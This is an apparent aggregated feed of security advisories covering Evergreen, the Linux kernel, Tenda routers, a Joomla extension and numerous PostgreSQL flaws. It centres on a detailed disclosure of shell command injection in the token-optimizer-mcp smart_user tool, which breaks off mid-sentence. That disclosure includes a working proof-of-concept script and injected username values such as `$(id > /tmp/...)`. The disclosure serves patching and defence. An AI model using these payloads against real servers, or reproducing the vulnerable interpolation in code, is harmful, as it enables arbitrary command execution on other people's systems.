A vulnerability has been found in Evergreen up to 3.14.11/3.15.11/3.16.5/3.17-beta1. The affected element is an unknown function of the file /osrf-gateway-v1 of the component open-ils.fielder OpenSRF Service. Such manipulation leads to sql injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 3.14.12, 3.15.12, 3.16.6 and 3.17-beta2 is sufficient to fix this issue. The affected component should be upgraded.
A vulnerability in the Linux kernel's batman-adv networking subsystem was fixed to address a primary_if reference leak on failed skb linearization. The flaw occurred when skb with a frag_list failed linearization before splitting, potentially leading to resource leaks. Multiple linux-azure kernel versions prior to 5.15.0-1117.124~20.04.1 and specific 4.11 and 4.13 versions are affected. A patch is available and included in fixed kernel releases.
### Summary
`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.
The `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:
```ts
getent passwd "${username}" || grep "^${username}:" /etc/passwd
```
Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:
```text
$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)
```
and execute arbitrary local commands with the privileges of the user running the MCP server.
This is a CWE-78 OS command injection issue.
Tested version:
```text
@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0
```
This issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation.
---
### Details
The vulnerable code path is in the `smart_user` implementation.
The `username` argument is eventually passed into a shell command similar to:
```ts
const { stdout: passwdOut } = await execAsync(
`getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);
```
The problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.
Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:
```bash
"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"`id`"
```
Therefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.
The affected MCP tool call is:
```text
tool: smart_user
operation: get-user-info
argument: username
```
Root cause:
```text
MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution
```
---
### PoC
The following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.
Prerequisites:
```text
Node.js installed
token-optimizer-mcp built from source
```
Build from source:
```bash
git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build
```
Run the PoC:
```bash
cd /path/to/token-optimizer-mcp
ENTRY=dist/server/index.js
ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$"
rm -f "$ID_OUT"
echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID_OUT"
python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log
import json
import sys
id_out = sys.argv[1]
# This value is inserted into:
# getent passwd "${username}" || grep "^${username}:" /etc/passwd
# Command substitution still executes inside double quotes.
evil_username = f'$(id > {id_out})'
messages = [
{
"jsonrpc": "2.0",
"id": "init",
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {
"name": "poc",
"version": "0"
}
}
},
{
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {}
},
{
"jsonrpc": "2.0",
"id": "poc-smart-user",
"method": "tools/call",
"params": {
"name": "smart_user",
"arguments": {
"operation": "get-user-info",
"username": evil_username,
"useCache": False
}
}
}
]
for msg in messages:
print(json.dumps(msg), flush=True)
PY
sleep 1
if [ -f "$ID_OUT" ]; then
echo "[VULN CONFIRMED] smart_user command injection executed:"
cat "$ID_OUT"
ls -l "$ID_OUT"
else
echo "[FAIL] smart_user id output file not created"
tail -120 /tmp/token_optimizer_smart_user_poc.log
fi
```
Expected result:
```text
[VULN CONFIRMED] smart_user command injection executed:
uid=1001(<local-user>) gid=1001(<local-user>) groups=...
-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...
```
In my test, the MCP response also showed that the payload reached the shell command:
```text
Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd
```
The file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.
A simpler marker-file variant also works:
```json
{
"operation": "get-user-info",
"username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)",
"useCache": false
}
```
---
### Impact
This is an OS command injection vulnerability.
Any MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username
Joomla Extension - icagenda.com - ACL bypass allowing arbitrary user enumeration < 2.0.0-4.0.11 - A backend operator granted access scoped to `com_icagenda` only could enumerate Joomla user profiles.
A security flaw has been discovered in Tenda W20E 15.11.0.6(1068_1546_841)_CN_TDC. Impacted is the function formQOSRuleDel of the file /goform/delQos of the component QoS Rule Deletion. Performing a manipulation of the argument qosIndex results in stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.
A stack-based buffer overflow vulnerability exists in the Tenda W20E router firmware version 15.11.0.6(1068_1546_841)_CN_TDC. The flaw is in the QoS Edit component's lstAdd function, specifically in the /goform/editQos endpoint, where improper handling of the qosListConnecttedNum argument can lead to memory corruption. This vulnerability can be exploited remotely without user interaction and has a high severity score of 8.7. Public exploit code is available, but no official patch or remediation guidance has been provided by the vendor as of the publication date.
Missing authorization in PostgreSQL DDL commands allows an object creator to achieve denial of service against ALTER and DROP of the type, via creating a dependency on the type. Many DDL operations did check the privilege, but assigning a range subtype and referencing the type from an SQL expression did not. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Missing authorization in PostgreSQL logical decoding allows a non-superuser holding REPLICATION privilege to dlopen any file visible to the operating system account running the server, via the choice of logical decoding plugin. This in turn runs arbitrary code as that account. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Heap buffer overflow in PostgreSQL pg_dump of long function transform lists allows an object creator to execute arbitrary code as the operating system user running pg_dump, via a crafted transform list. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Type confusion in PostgreSQL "portal"/cursor lifecycle allows a user to execute arbitrary code as the operating system user running the database, via re-creation of a cursor or other portal with different types. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Buffer over-read in PostgreSQL ascii() SQL function allows a user to disclose up to 3 bytes after the end of a specific allocation, via a crafted text value. This is the same class of defect that CVE-2026-2006 fixed, though this instance has less impact. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Integer wraparound in PostgreSQL fuzzystrmatch allows a user to direct writes to a huge range of addresses, executing arbitrary code as the operating system user running the database, via extreme inputs to SQL function levenshtein() or levenshtein_less_equal(). Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Integer underflow in PostgreSQL ECPG allows a database server administrator to achieve temporary denial of service against the ECPG client via sending a bytea value lacking the mandatory prefix. The client overwrites a huge memory region with bytes outside attacker knowledge or control. This typically yields a simple SIGSEGV, but rare cases might achieve client-specific integrity impact via the write. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Type confusion in PostgreSQL module "refint" allows an object creator to execute arbitrary code as the operating system user running the database. The fix for this emerged as a non-security bug report, and the fix appear in the git repository with subject "refint: Remove plan cache.", without a CVE number. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Observable response discrepancy in PostgreSQL SCRAM authentication allows an unauthenticated user to test the existence of a user via observing the SCRAM iteration count. This requires the probed user to have a non-default scram_iterations count, because the authentication challenge for a nonexistent user reports the default scram_iterations. Within major versions 16-18, minor versions before PostgreSQL 18.5, 17.11, and 16.15 are affected. Versions before PostgreSQL 16 are unaffected.
Integer wraparound in PostgreSQL 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This may execute arbitrary code as the operating system user running the database. CVE-2026-6473 had fixed similar problems. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
Stack buffer overflow in PostgreSQL argument name matching allows an object creator to achieve unknown impacts via OUT parameter count. The attack can write only 0x0 and 0x1 bytes. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.